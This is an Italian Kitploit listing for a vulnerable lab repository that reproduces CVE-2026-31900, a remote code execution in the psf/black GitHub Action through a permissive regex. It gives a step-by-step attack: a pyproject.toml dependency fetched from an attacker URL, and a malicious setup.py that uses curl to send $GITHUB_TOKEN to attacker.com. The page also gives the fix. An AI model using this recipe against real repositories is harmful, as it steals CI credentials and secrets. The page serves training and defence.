Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-31900-lab — CVE-2026-31900 Laboratorio Vulnerabile - RCE nell'azione GitHub di psf/black | Kitploit
Strumenti/GitHubGitHub/batosay1337lab/cve-2026-31900-lab
Analisi delle VulnerabilitàExploitSicurezza WebSicurezza della Supply ChainApprendimento e FormazioneLab e Pratica
GitHubbatosay1337lab/cve-2026-31900-lab

cve-2026-31900-lab

CVE-2026-31900 Laboratorio Vulnerabile - RCE nell'azione GitHub di psf/black

Vedi Repository
1165 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-31900 — Laboratorio Vulnerabile

psf/black GitHub Action RCE tramite Validazione Regex Insicura

CampoDettaglio
CVECVE-2026-31900
CVSS8.7 (Alto)
AdvisoryGHSA-v53h-f6m7-xcgm
Interessatipsf/black GitHub Action < v26.3.0
TipoRCE tramite Supply Chain (trigger pull_request)

Vulnerabilità

L'opzione use_pyproject: true legge la versione di Black da pyproject.toml. La regex utilizzata per validare la stringa della versione è eccessivamente permissiva a causa di re.IGNORECASE, consentendo caratteri come spazio, @, : e / — esattamente ciò che serve per un requisito URL PEP 508.

Regex Vulnerabile

root@kitploit:~
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)

Vettore di Attacco

  1. Fai il fork di questo repository
  2. Modifica pyproject.toml nel tuo fork:
root@kitploit:~
[project]
dependencies = [
    "black @ https://attacker.com/malicious_black.tar.gz"
]
  1. Apri una Pull Request → il trigger del workflow pull_request si attiva
  2. L'Action legge la versione dannosa da pyproject.toml, bypassando la validazione regex
  3. pip installa il pacchetto controllato dall'attaccante → setup.py esegue codice arbitrario

Esempio di setup.py del Pacchetto Dannoso

root@kitploit:~
from setuptools import setup
import os

os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")

Impatto del Furto di Credenziali

  • $GITHUB_TOKEN (token del runner CI)
  • Qualsiasi segreto iniettato nell'ambiente del workflow

Fix

Aggiorna a psf/black v26.3.0 oppure fissa esplicitamente la versione nel YAML del workflow invece di usare use_pyproject: true.

Struttura del Laboratorio

root@kitploit:~
.github/workflows/black.yml   ← Workflow vulnerabile (use_pyproject: true)
pyproject.toml                ← Configurazione legittima (ramo main)
app.py                        ← File Python di esempio da formattare
Scarica lo strumento